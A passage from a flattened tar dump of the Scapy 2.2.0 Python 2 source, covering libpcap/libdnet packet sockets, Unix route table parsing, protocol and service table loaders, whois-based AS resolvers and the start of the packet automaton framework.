permit to get capure file descriptor. Bugs ahead! Press Enter to trigger packet reading") return 0 def __getattr__(self, attr): return getattr(self.pcap, attr) open_pcap = lambda *args,**kargs: _PcapWrapper_pcapy(*args,**kargs) class PcapTimeoutElapsed(Scapy_Exception): pass class L2pcapListenSocket(SuperSocket): desc = "read packets at layer 2 using libpcap" def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None): self.type = type self.outs = None self.iface = iface if iface is None: iface = conf.iface if promisc is None: promisc = conf.sniff_promisc self.promisc = promisc self.ins = open_pcap(iface, 1600, self.promisc, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if type == ETH_P_ALL: # Do not apply any filter if Ethernet type is given if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter: self.ins.setfilter(filter) def close(self): del(self.ins) def recv(self, x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = None while pkt is None: pkt = self.ins.next() if pkt is not None: ts,pkt = pkt if scapy.arch.WINDOWS and pkt is None: raise PcapTimeoutElapsed try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt def send(self, x): raise Scapy_Exception("Can't send anything with L2pcapListenSocket") conf.L2listen = L2pcapListenSocket if conf.use_dnet: try: import dnet except ImportError,e: if conf.interactive: log_loading.error("Unable to import dnet module: %s" % e) conf.use_dnet = False def get_if_raw_hwaddr(iff): "dummy" return (0,"\0\0\0\0\0\0") def get_if_raw_addr(iff): "dummy" return "\0\0\0\0" def get_if_list(): "dummy" return [] else: raise else: def get_if_raw_hwaddr(iff): if iff == scapy.arch.LOOPBACK_NAME: return (772, '\x00'*6) try: l = dnet.intf().get(iff) l = l["link_addr"] except: raise Scapy_Exception("Error in attempting to get hw address for interface [%s]" % iff) return l.type,l.data def get_if_raw_addr(ifname): i = dnet.intf() return i.get(ifname)["addr"].data def get_if_list(): return [i.get("name", None) for i in dnet.intf()] if conf.use_pcap and conf.use_dnet: class L3dnetSocket(SuperSocket): desc = "read/write packets at layer 3 using libdnet and libpcap" def __init__(self, type = ETH_P_ALL, filter=None, promisc=None, iface=None, nofilter=0): self.iflist = {} self.intf = dnet.intf() if iface is None: iface = conf.iface self.iface = iface self.ins = open_pcap(iface, 1600, 0, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if nofilter: if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap filter = "ether proto %i" % type else: filter = None else: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap if filter: filter = "(ether proto %i) and (%s)" % (type,filter) else: filter = "ether proto %i" % type if filter: self.ins.setfilter(filter) def send(self, x): iff,a,gw = x.route() if iff is None: iff = conf.iface ifs,cls = self.iflist.get(iff,(None,None)) if ifs is None: iftype = self.intf.get(iff)["type"] if iftype == dnet.INTF_TYPE_ETH: try: cls = conf.l2types[1] except KeyError: warning("Unable to find Ethernet class. Using nothing") ifs = dnet.eth(iff) else: ifs = dnet.ip() self.iflist[iff] = ifs,cls if cls is None: sx = str(x) else: sx = str(cls()/x) x.sent_time = time.time() ifs.send(sx) def recv(self,x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = self.ins.next() if pkt is not None: ts,pkt = pkt if pkt is None: return try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt.payload def nonblock_recv(self): self.ins.setnonblock(1) p = self.recv() self.ins.setnonblock(0) return p def close(self): if hasattr(self, "ins"): del(self.ins) if hasattr(self, "outs"): del(self.outs) class L2dnetSocket(SuperSocket): desc = "read/write packets at layer 2 using libdnet and libpcap" def __init__(self, iface = None, type = ETH_P_ALL, filter=None, nofilter=0): if iface is None: iface = conf.iface self.iface = iface self.ins = open_pcap(iface, 1600, 0, 100) try: ioctl(self.ins.fileno(),BIOCIMMEDIATE,struct.pack("I",1)) except: pass if nofilter: if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap filter = "ether proto %i" % type else: filter = None else: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap if filter: filter = "(ether proto %i) and (%s)" % (type,filter) else: filter = "ether proto %i" % type if filter: self.ins.setfilter(filter) self.outs = dnet.eth(iface) def recv(self,x=MTU): ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s" % (self.iface, ll, cls.name)) pkt = self.ins.next() if pkt is not None: ts,pkt = pkt if pkt is None: return try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = ts return pkt def nonblock_recv(self): self.ins.setnonblock(1) p = self.recv(MTU) self.ins.setnonblock(0) return p def close(self): if hasattr(self, "ins"): del(self.ins) if hasattr(self, "outs"): del(self.outs) conf.L3socket=L3dnetSocket conf.L2socket=L2dnetSocket scapy-2.2.0/scapy/arch/unix.py0000644000175000017500000001324311430356064014336 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Common customizations for all Unix-like operating systems other than Linux """ import sys,os,struct,socket,time from fcntl import ioctl from scapy.error import warning import scapy.config import scapy.utils import scapy.utils6 import scapy.arch scapy.config.conf.use_pcap = 1 scapy.config.conf.use_dnet = 1 from pcapdnet import * ################## ## Routes stuff ## ################## def read_routes(): if scapy.arch.SOLARIS: f=os.popen("netstat -rvn") # -f inet elif scapy.arch.FREEBSD: f=os.popen("netstat -rnW") # -W to handle long interface names else: f=os.popen("netstat -rn") # -f inet ok = 0 mtu_present = False prio_present = False routes = [] pending_if = [] for l in f.readlines(): if not l: break l = l.strip() if l.find("----") >= 0: # a separation line continue if not ok: if l.find("Destination") >= 0: ok = 1 mtu_present = l.find("Mtu") >= 0 prio_present = l.find("Prio") >= 0 continue if not l: break if scapy.arch.SOLARIS: lspl = l.split() if len(lspl) == 10: dest,mask,gw,netif,mxfrg,rtt,ref,flg = lspl[:8] else: # missing interface dest,mask,gw,mxfrg,rtt,ref,flg = lspl[:7] netif=None else: rt = l.split() dest,gw,flg = rt[:3] netif = rt[5+mtu_present+prio_present] if flg.find("Lc") >= 0: continue if dest == "default": dest = 0L netmask = 0L else: if scapy.arch.SOLARIS: netmask = scapy.utils.atol(mask) elif "/" in dest: dest,netmask = dest.split("/") netmask = scapy.utils.itom(int(netmask)) else: netmask = scapy.utils.itom((dest.count(".") + 1) * 8) dest += ".0"*(3-dest.count(".")) dest = scapy.utils.atol(dest) if not "G" in flg: gw = '0.0.0.0' if netif is not None: ifaddr = scapy.arch.get_if_addr(netif) routes.append((dest,netmask,gw,netif,ifaddr)) else: pending_if.append((dest,netmask,gw)) f.close() # On Solaris, netstat does not provide output interfaces for some routes # We need to parse completely the routing table to route their gw and # know their output interface for dest,netmask,gw in pending_if: gw_l = scapy.utils.atol(gw) max_rtmask,gw_if,gw_if_addr, = 0,None,None for rtdst,rtmask,_,rtif,rtaddr in routes[:]: if gw_l & rtmask == rtdst: if rtmask >= max_rtmask: max_rtmask = rtmask gw_if = rtif gw_if_addr = rtaddr if gw_if: routes.append((dest,netmask,gw,gw_if,gw_if_addr)) else: warning("Did not find output interface to reach gateway %s" % gw) return routes ############ ### IPv6 ### ############ def in6_getifaddr(): """ Returns a list of 3-tuples of the form (addr, scope, iface) where 'addr' is the address of scope 'scope' associated to the interface 'ifcace'. This is the list of all addresses of all interfaces available on the system. """ ret = [] i = dnet.intf() for int in i: ifname = int['name'] v6 = [] if int.has_key('alias_addrs'): v6 = int['alias_addrs'] for a in v6: if a.type != dnet.ADDR_TYPE_IP6: continue xx = str(a).split('/')[0] addr = scapy.utils6.in6_ptop(xx) scope = scapy.utils6.in6_getscope(addr) ret.append((xx, scope, ifname)) return ret def read_routes6(): f = os.popen("netstat -rn -f inet6") ok = False mtu_present = False prio_present = False routes = [] lifaddr = in6_getifaddr() for l in f.readlines(): if not l: break l = l.strip() if not ok: if l.find("Destination") >= 0: ok = 1 mtu_present = l.find("Mtu") >= 0 prio_present = l.find("Prio") >= 0 continue # gv 12/12/06: under debugging if scapy.arch.NETBSD or scapy.arch.OPENBSD: lspl = l.split() d,nh,fl = lspl[:3] dev = lspl[5+mtu_present+prio_present] else: # FREEBSD or DARWIN d,nh,fl,dev = l.split()[:4] if filter(lambda x: x[2] == dev, lifaddr) == []: continue if 'L' in fl: # drop MAC addresses continue if 'link' in nh: nh = '::' cset = [] # candidate set (possible source addresses) dp = 128 if d == 'default': d = '::' dp = 0 if '/' in d: d,dp = d.split("/") dp = int(dp) if '%' in d: d,dev = d.split('%') if '%' in nh: nh,dev = nh.split('%') if scapy.arch.LOOPBACK_NAME in dev: cset = ['::1'] nh = '::' else: devaddrs = filter(lambda x: x[2] == dev, lifaddr) cset = scapy.utils6.construct_source_candidate_set(d, dp, devaddrs, scapy.arch.LOOPBACK_NAME) if len(cset) != 0: routes.append((d, dp, nh, dev, cset)) f.close() return routes scapy-2.2.0/scapy/arch/solaris.py0000644000175000017500000000056311430356064015030 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Customization for the Solaris operation system. """ # IPPROTO_GRE is missing on Solaris import socket socket.IPPROTO_GRE = 47 LOOPBACK_NAME="lo0" from unix import * scapy-2.2.0/scapy/data.py0000644000175000017500000001404011430356072013342 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Global variables and functions for handling external data sets. """ import os,sys,re from dadict import DADict from error import log_loading ############ ## Consts ## ############ ETHER_ANY = "\x00"*6 ETHER_BROADCAST = "\xff"*6 ETH_P_ALL = 3 ETH_P_IP = 0x800 ETH_P_ARP = 0x806 ETH_P_IPV6 = 0x86dd # From net/if_arp.h ARPHDR_ETHER = 1 ARPHDR_METRICOM = 23 ARPHDR_PPP = 512 ARPHDR_LOOPBACK = 772 ARPHDR_TUN = 65534 # From net/ipv6.h on Linux (+ Additions) IPV6_ADDR_UNICAST = 0x01 IPV6_ADDR_MULTICAST = 0x02 IPV6_ADDR_CAST_MASK = 0x0F IPV6_ADDR_LOOPBACK = 0x10 IPV6_ADDR_GLOBAL = 0x00 IPV6_ADDR_LINKLOCAL = 0x20 IPV6_ADDR_SITELOCAL = 0x40 # deprecated since Sept. 2004 by RFC 3879 IPV6_ADDR_SCOPE_MASK = 0xF0 #IPV6_ADDR_COMPATv4 = 0x80 # deprecated; i.e. ::/96 #IPV6_ADDR_MAPPED = 0x1000 # i.e.; ::ffff:0.0.0.0/96 IPV6_ADDR_6TO4 = 0x0100 # Added to have more specific info (should be 0x0101 ?) IPV6_ADDR_UNSPECIFIED = 0x10000 MTU = 0x7fff # a.k.a give me all you have WINDOWS=sys.platform.startswith("win") # file parsing to get some values : def load_protocols(filename): spaces = re.compile("[ \t]+|\n") dct = DADict(_name=filename) try: for l in open(filename): try: shrp = l.find("#") if shrp >= 0: l = l[:shrp] l = l.strip() if not l: continue lt = tuple(re.split(spaces, l)) if len(lt) < 2 or not lt[0]: continue dct[lt[0]] = int(lt[1]) except Exception,e: log_loading.info("Couldn't parse file [%s]: line [%r] (%s)" % (filename,l,e)) except IOError: log_loading.info("Can't open %s file" % filename) return dct def load_ethertypes(filename): spaces = re.compile("[ \t]+|\n") dct = DADict(_name=filename) try: f=open(filename) for l in f: try: shrp = l.find("#") if shrp >= 0: l = l[:shrp] l = l.strip() if not l: continue lt = tuple(re.split(spaces, l)) if len(lt) < 2 or not lt[0]: continue dct[lt[0]] = int(lt[1], 16) except Exception,e: log_loading.info("Couldn't parse file [%s]: line [%r] (%s)" % (filename,l,e)) f.close() except IOError,msg: pass return dct def load_services(filename): spaces = re.compile("[ \t]+|\n") tdct=DADict(_name="%s-tcp"%filename) udct=DADict(_name="%s-udp"%filename) try: f=open(filename) for l in f: try: shrp = l.find("#") if shrp >= 0: l = l[:shrp] l = l.strip() if not l: continue lt = tuple(re.split(spaces, l)) if len(lt) < 2 or not lt[0]: continue if lt[1].endswith("/tcp"): tdct[lt[0]] = int(lt[1].split('/')[0]) elif lt[1].endswith("/udp"): udct[lt[0]] = int(lt[1].split('/')[0]) except Exception,e: log_loading.warning("Couldn't file [%s]: line [%r] (%s)" % (filename,l,e)) f.close() except IOError: log_loading.info("Can't open /etc/services file") return tdct,udct class ManufDA(DADict): def fixname(self, val): return val def _get_manuf_couple(self, mac): oui = ":".join(mac.split(":")[:3]).upper() return self.__dict__.get(oui,(mac,mac)) def _get_manuf(self, mac): return self._get_manuf_couple(mac)[1] def _get_short_manuf(self, mac): return self._get_manuf_couple(mac)[0] def _resolve_MAC(self, mac): oui = ":".join(mac.split(":")[:3]).upper() if oui in self: return ":".join([self[oui][0]]+ mac.split(":")[3:]) return mac def load_manuf(filename): try: manufdb=ManufDA(_name=filename) for l in open(filename): try: l = l.strip() if not l or l.startswith("#"): continue oui,shrt=l.split()[:2] i = l.find("#") if i < 0: lng=shrt else: lng = l[i+2:] manufdb[oui] = shrt,lng except Exception,e: log_loading.warning("Couldn't parse one line from [%s] [%r] (%s)" % (filename, l, e)) except IOError: #log_loading.warning("Couldn't open [%s] file" % filename) pass return manufdb if WINDOWS: ETHER_TYPES=load_ethertypes("ethertypes") IP_PROTOS=load_protocols(os.environ["SystemRoot"]+"\system32\drivers\etc\protocol") TCP_SERVICES,UDP_SERVICES=load_services(os.environ["SystemRoot"] + "\system32\drivers\etc\services") MANUFDB = load_manuf(os.environ["ProgramFiles"] + "\\wireshark\\manuf") else: IP_PROTOS=load_protocols("/etc/protocols") ETHER_TYPES=load_ethertypes("/etc/ethertypes") TCP_SERVICES,UDP_SERVICES=load_services("/etc/services") MANUFDB = load_manuf("/usr/share/wireshark/wireshark/manuf") ##################### ## knowledge bases ## ##################### class KnowledgeBase: def __init__(self, filename): self.filename = filename self.base = None def lazy_init(self): self.base = "" def reload(self, filename = None): if filename is not None: self.filename = filename oldbase = self.base self.base = None self.lazy_init() if self.base is None: self.base = oldbase def get_base(self): if self.base is None: self.lazy_init() return self.base scapy-2.2.0/scapy/as_resolvers.py0000644000175000017500000000626111430356064015147 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Resolve Autonomous Systems (AS). """ import socket from config import conf class AS_resolver: server = None options = "-k" def __init__(self, server=None, port=43, options=None): if server is not None: self.server = server self.port = port if options is not None: self.options = options def _start(self): self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((self.server,self.port)) if self.options: self.s.send(self.options+"\n") self.s.recv(8192) def _stop(self): self.s.close() def _parse_whois(self, txt): asn,desc = None,"" for l in txt.splitlines(): if not asn and l.startswith("origin:"): asn = l[7:].strip() if l.startswith("descr:"): if desc: desc += r"\n" desc += l[6:].strip() if asn is not None and desc: break return asn,desc.strip() def _resolve_one(self, ip): self.s.send("%s\n" % ip) x = "" while not ("%" in x or "source" in x): x += self.s.recv(8192) asn, desc = self._parse_whois(x) return ip,asn,desc def resolve(self, *ips): self._start() ret = [] for ip in ips: ip,asn,desc = self._resolve_one(ip) if asn is not None: ret.append((ip,asn,desc)) self._stop() return ret class AS_resolver_riswhois(AS_resolver): server = "riswhois.ripe.net" options = "-k -M -1" class AS_resolver_radb(AS_resolver): server = "whois.ra.net" options = "-k -M" class AS_resolver_cymru(AS_resolver): server = "whois.cymru.com" options = None def resolve(self, *ips): ASNlist = [] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.server,self.port)) s.send("begin\r\n"+"\r\n".join(ips)+"\r\nend\r\n") r = "" while 1: l = s.recv(8192) if l == "": break r += l s.close() for l in r.splitlines()[1:]: if "|" not in l: continue asn,ip,desc = map(str.strip, l.split("|")) if asn == "NA": continue asn = int(asn) ASNlist.append((ip,asn,desc)) return ASNlist class AS_resolver_multi(AS_resolver): resolvers_list = ( AS_resolver_cymru(),AS_resolver_riswhois(),AS_resolver_radb() ) def __init__(self, *reslist): if reslist: self.resolvers_list = reslist def resolve(self, *ips): todo = ips ret = [] for ASres in self.resolvers_list: res = ASres.resolve(*todo) resolved = [ ip for ip,asn,desc in res ] todo = [ ip for ip in todo if ip not in resolved ] ret += res return ret conf.AS_resolver = AS_resolver_multi() scapy-2.2.0/scapy/automaton.py0000644000175000017500000006611711430356066014457 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Automata with states, transitions and actions. """ from __future__ import with_statement import types,itertools,time,os,sys,socket from select import select from collections import deque import thread from config import conf from utils import do_graph from error import log_interactive from plist import PacketList from data import MTU from supersocket import SuperSocket class ObjectPipe: def __init__(self): self.rd,self.wr = os.pipe() self.queue = deque() def fileno(self): return self.rd def send(self, obj): self.queue.append(obj) os.write(self.wr,"X") def recv(self, n=0): os.read(self.rd,1) return self.queue.popleft() class Message: def __init__(self, **args): self.__dict__.update(args) def __repr__(self): return "" % " ".join("%s=%r"%(k,v) for (k,v) in self.__dict__.iteritems() if not k.startswith("_")) class _instance_state: def __init__(self, instance): self.im_self = instance.im_self self.im_func = instance.im_func self.im_class = instance.im_class def __getattr__(self, attr): return getattr(self.im_func, attr) def __call__(self, *args, **kargs): return self.im_func(self.im_self, *args, **kargs) def breaks(self): return self.im_self.add_breakpoints(self.im_func) def intercepts(self): return self.im_self.add_interception_points(self.im_func) def unbreaks(self): return self.im_self.remove_breakpoints(self.im_func) def unintercepts(self): return self.im_self.remove_interception_points(self.im_func) ############## ## Automata ## ############## class ATMT: STATE = "State" ACTION = "Action" CONDITION = "Condition" RECV = "Receive condition" TIMEOUT = "Timeout condition" IOEVENT = "I/O event" class NewStateRequested(Exception): def __init__(self, state_func, automaton, *args, **kargs): self.func = state_func self.state = state_func.atmt_state self.initial = state_func.atmt_initial self.error = state_func.atmt_error self.final = state_func.atmt_final Exception.__init__(self, "Request state [%s]" % self.state) self.automaton = automaton self.args = args self.kargs = kargs self.action_parameters() # init action parameters def action_parameters(self, *args, **kargs): self.action_args = args self.action_kargs = kargs return self def run(self): return self.func(self.automaton, *self.args, **self.kargs) def __repr__(self): return "NewStateRequested(%s)" % self.state @staticmethod def state(initial=0,final=0,error=0): def deco(f,initial=initial, final=final): f.atmt_type = ATMT.STATE f.atmt_state = f.func_name f.atmt_initial = initial f.atmt_final = final f.atmt_error = error def state_wrapper(self, *args, **kargs): return ATMT.NewStateRequested(f, self, *args, **kargs) state_wrapper.func_name = "%s_wrapper" % f.func_name state_wrapper.atmt_type = ATMT.STATE state_wrapper.atmt_state = f.func_name state_wrapper.atmt_initial = initial state_wrapper.atmt_final = final state_wrapper.atmt_error = error state_wrapper.atmt_origfunc = f return state_wrapper return deco @staticmethod def action(cond, prio=0): def deco(f,cond=cond): if not hasattr(f,"atmt_type"): f.atmt_cond = {} f.atmt_type = ATMT.ACTION f.atmt_cond[cond.atmt_condname] = prio return f return deco @staticmethod def condition(state, prio=0): def deco(f, state=state): f.atmt_type = ATMT.CONDITION f.atmt_state = state.atmt_state f.atmt_condname = f.func_name f.atmt_prio = prio return f return deco @staticmethod def receive_condition(state, prio=0): def deco(f, state=state): f.atmt_type = ATMT.RECV f.atmt_state = state.atmt_state f.atmt_condname = f.func_name f.atmt_prio = prio return f return deco @staticmethod def ioevent(state, name, prio=0, as_supersocket=None): def deco(f, state=state): f.atmt_type = ATMT.IOEVENT f.atmt_state = state.atmt_state f.atmt_condname = f.func_name f.atmt_ioname = name f.atmt_prio = prio f.atmt_as_supersocket = as_supersocket return f return deco @staticmethod def timeout(state, timeout): def deco(f, state=state, timeout=timeout): f.atmt_type = ATMT.TIMEOUT f.atmt_state = state.atmt_state f.atmt_timeout = timeout f.atmt_condname = f.func_name return f return deco class _ATMT_Command: RUN = "RUN" NEXT = "NEXT" FREEZE = "FREEZE" STOP = "STOP" END = "END" EXCEPTION = "EXCEPTION" SINGLESTEP = "SINGLESTEP" BREAKPOINT = "BREAKPOINT" INTERCEPT = "INTERCEPT" ACCEPT = "ACCEPT" REPLACE = "REPLACE" REJECT = "REJECT" class _ATMT_supersocket(SuperSocket): def __init__(self, name, ioevent, automaton, proto, args, kargs): self.name = name self.ioevent = ioevent self.proto = proto self.spa,self.spb = socket.socketpair(socket.AF_UNIX, socket.SOCK_DGRAM) kargs["external_fd"] = {ioevent:self.spb} self.atmt = automaton(*args, **kargs) self.atmt.runbg() def fileno(self): return self.spa.fileno() def send(self, s): if type(s) is not str: s = str(s) return self.spa.send(s) def recv(self, n=MTU): r = self.spa.recv(n) if self.proto is not None: r = self.proto(r) return r def close(self): pass class _ATMT_to_supersocket: def __init__(self, name, ioevent, automaton): self.name = name self.ioevent = ioevent self.automaton = automaton def __call__(self, proto, *args, **kargs): return _ATMT_supersocket(self.name, self.ioevent, self.automaton, proto, args, kargs) class Automaton_metaclass(type): def __new__(cls, name, bases, dct): cls = super(Automaton_metaclass, cls).__new__(cls, name, bases, dct) cls.states={} cls.state = None cls.recv_conditions={} cls.conditions={} cls.ioevents={} cls.timeout={} cls.actions={} cls.initial_states=[] cls.ionames = [] cls.iosupersockets = [] members = {} classes = [cls] while classes: c = classes.pop(0) # order is important to avoid breaking method overloading classes += list(c.__bases__) for k,v in c.__dict__.iteritems(): if k not in members: members[k] = v decorated = [v for v in members.itervalues() if type(v) is types.FunctionType and hasattr(v, "atmt_type")] for m in decorated: if m.atmt_type == ATMT.STATE: s = m.atmt_state cls.states[s] = m cls.recv_conditions[s]=[] cls.ioevents[s]=[] cls.conditions[s]=[] cls.timeout[s]=[] if m.atmt_initial: cls.initial_states.append(m) elif m.atmt_type in [ATMT.CONDITION, ATMT.RECV, ATMT.TIMEOUT, ATMT.IOEVENT]: cls.actions[m.atmt_condname] = [] for m in decorated: if m.atmt_type == ATMT.CONDITION: cls.conditions[m.atmt_state].append(m) elif m.atmt_type == ATMT.RECV: cls.recv_conditions[m.atmt_state].append(m) elif m.atmt_type == ATMT.IOEVENT: cls.ioevents[m.atmt_state].append(m) cls.ionames.append(m.atmt_ioname) if m.atmt_as_supersocket is not None: cls.iosupersockets.append(m) elif m.atmt_type == ATMT.TIMEOUT: cls.timeout[m.atmt_state].append((m.atmt_timeout, m)) elif m.atmt_type == ATMT.ACTION: for c in m.atmt_cond: cls.actions[c].append(m) for v in cls.timeout.itervalues(): v.sort(lambda (t1,f1),(t2,f2): cmp(t1,t2)) v.append((None, None)) for v in itertools.chain(cls.conditions.itervalues(), cls.recv_conditions.itervalues(), cls.ioevents.itervalues()): v.sort(lambda c1,c2: cmp(c1.atmt_prio,c2.atmt_prio)) for condname,actlst in cls.actions.iteritems(): actlst.sort(lambda c1,c2: cmp(c1.atmt_cond[condname], c2.atmt_cond[condname])) for ioev in cls.iosupersockets: setattr(cls, ioev.atmt_as_supersocket, _ATMT_to_supersocket(ioev.atmt_as_supersocket, ioev.atmt_ioname, cls)) return cls def graph(self, **kargs): s = 'digraph "%s" {\n' % self.__class__.__name__ se = "" # Keep initial nodes at the begining for better rendering for st in self.states.itervalues(): if st.atmt_initial: se = ('\t"%s" [ style=filled, fillcolor=blue, shape=box, root=true];\n' % st.atmt_state)+se elif st.atmt_final: se += '\t"%s" [ style=filled, fillcolor=green, shape=octagon ];\n' % st.atmt_state elif st.atmt_error: se += '\t"%s" [ style=filled, fillcolor=red, shape=octagon ];\n' % st.atmt_state s += se for st in self.states.values(): for n in st.atmt_origfunc.func_code.co_names+st.atmt_origfunc.func_code.co_consts: if n in self.states: s += '\t"%s" -> "%s" [ color=green ];\n' % (st.atmt_state,n) for c,k,v in ([("purple",k,v) for k,v in self.conditions.items()]+ [("red",k,v) for k,v in self.recv_conditions.items()]+ [("orange",k,v) for k,v in self.ioevents.items()]): for f in v: for n in f.func_code.co_names+f.func_code.co_consts: if n in self.states: l = f.atmt_condname for x in self.actions[f.atmt_condname]: l += "\\l>[%s]" % x.func_name s += '\t"%s" -> "%s" [label="%s", color=%s];\n' % (k,n,l,c) for k,v in self.timeout.iteritems(): for t,f in v: if f is None: continue for n in f.func_code.co_names+f.func_code.co_consts: if n in self.states: l = "%s/%.1fs" % (f.atmt_condname,t) for x in self.actions[f.atmt_condname]: l += "\\l>[%s]" % x.func_name s += '\t"%s" -> "%s" [label="%s",color=blue];\n' % (k,n,l) s += "}\n" return do_graph(s, **kargs) class Automaton: __metaclass__ = Automaton_metaclass ## Methods to overload def parse_args(self, debug=0, store=1, **kargs): self.debug_level=debug self.socket_kargs = kargs self.store_packets = store def master_filter(self, pkt): return True def my_send(self, pkt): self.send_sock.send(pkt) ## Utility classes and exceptions class _IO_fdwrapper: def __init__(self,rd,wr): if rd is not None and type(rd) is not int: rd = rd.fileno() if wr is not None and type(wr) is not int: wr = wr.fileno() self.rd = rd self.wr = wr def fileno(self): return self.rd def read(self, n=65535): return os.read(self.rd, n) def write(self, msg): return os.write(self.wr,msg) def recv(self, n=65535): return self.read(n) def send(self, msg): return self.write(msg) class _IO_mixer: def __init__(self,rd,wr): self.rd = rd self.wr = wr def fileno(self): if type(self.rd) is int: return self.rd return self.rd.fileno() def recv(self, n=None): return self.rd.recv(n) def read(self, n=None): return self.rd.recv(n) def send(self, msg): return self.wr.send(msg) def write(self, msg): return self.wr.send(msg) class AutomatonException(Exception): def __init__(self, msg, state=None, result=None): Exception.__init__(self, msg) self.state = state self.result = result class AutomatonError(AutomatonException): pass class ErrorState(AutomatonException): pass class Stuck(AutomatonException): pass class AutomatonStopped(AutomatonException): pass class Breakpoint(AutomatonStopped): pass class Singlestep(AutomatonStopped): pass class InterceptionPoint(AutomatonStopped): def __init__(self, msg, state=None, result=None, packet=None): Automaton.AutomatonStopped.__init__(self, msg, state=state, result=result) self.packet = packet class CommandMessage(AutomatonException): pass ## Services def debug(self, lvl, msg): if self.debug_level >= lvl: log_interactive.debug(msg) def send(self, pkt): if self.state.state in self.interception_points: self.debug(3,"INTERCEPT: packet intercepted: %s" % pkt.summary()) self.intercepted_packet = pkt cmd = Message(type = _ATMT_Command.INTERCEPT, state=self.state, pkt=pkt) self.cmdout.send(cmd) cmd = self.cmdin.recv() self.intercepted_packet = None if cmd.type == _ATMT_Command.REJECT: self.debug(3,"INTERCEPT: packet rejected") return elif cmd.type == _ATMT_Command.REPLACE: pkt = cmd.pkt self.debug(3,"INTERCEPT: packet replaced by: %s" % pkt.summary()) elif cmd.type == _ATMT_Command.ACCEPT: self.debug(3,"INTERCEPT: packet accepted") else: raise self.AutomatonError("INTERCEPT: unkown verdict: %r" % cmd.type) self.my_send(pkt) self.debug(3,"SENT : %s" % pkt.summary()) self.packets.append(pkt.copy()) ## Internals def __init__(self, *args, **kargs): external_fd = kargs.pop("external_fd",{}) self.send_sock_class = kargs.pop("ll", conf.L3socket) self.started = thread.allocate_lock() self.threadid = None self.breakpointed = None self.breakpoints = set() self.interception_points = set() self.intercepted_packet = None self.debug_level=0 self.init_args=args self.init_kargs=kargs self.io = type.__new__(type, "IOnamespace",(),{}) self.oi = type.__new__(type, "IOnamespace",(),{}) self.cmdin = ObjectPipe() self.cmdout = ObjectPipe() self.ioin = {} self.ioout = {} for n in self.ionames: extfd = external_fd.get(n) if type(extfd) is not tuple: extfd = (extfd,extfd) ioin,ioout = extfd if ioin is None: ioin = ObjectPipe() elif type(ioin) is not types.InstanceType: ioin = self._IO_fdwrapper(ioin,None) if ioout is None: ioout = ObjectPipe() elif type(ioout) is not types.InstanceType: ioout = self._IO_fdwrapper(None,ioout) self.ioin[n] = ioin self.ioout[n] = ioout ioin.ioname = n ioout.ioname = n setattr(self.io, n, self._IO_mixer(ioout,ioin)) setattr(self.oi, n, self._IO_mixer(ioin,ioout)) for stname in self.states: setattr(self, stname, _instance_state(getattr(self, stname))) self.parse_args(*args, **kargs) self.start() def __iter__(self): return self def __del__(self): self.stop() def _run_condition(self, cond, *args, **kargs): try: self.debug(5, "Trying %s [%s]" % (cond.atmt_type, cond.atmt_condname)) cond(self,*args, **kargs) except ATMT.NewStateRequested, state_req: self.debug(2, "%s [%s] taken to state [%s]" % (cond.atmt_type, cond.atmt_condname, state_req.state)) if cond.atmt_type == ATMT.RECV: self.packets.append(args[0]) for action in self.actions[cond.atmt_condname]: self.debug(2, " + Running action [%s]" % action.func_name) action(self, *state_req.action_args, **state_req.action_kargs) raise except Exception,e: self.debug(2, "%s [%s] raised exception [%s]" % (cond.atmt_type, cond.atmt_condname, e)) raise else: self.debug(2, "%s [%s] not taken" % (cond.atmt_type, cond.atmt_condname)) def _do_start(self, *args, **kargs): thread.start_new_thread(self._do_control, args, kargs) def _do_control(self, *args, **kargs): with self.started: self.threadid = thread.get_ident() # Update default parameters a = args+self.init_args[len(args):] k = self.init_kargs.copy() k.update(kargs) self.parse_args(*a,**k) # Start the automaton self.state=self.initial_states[0](self) self.send_sock = self.send_sock_class() 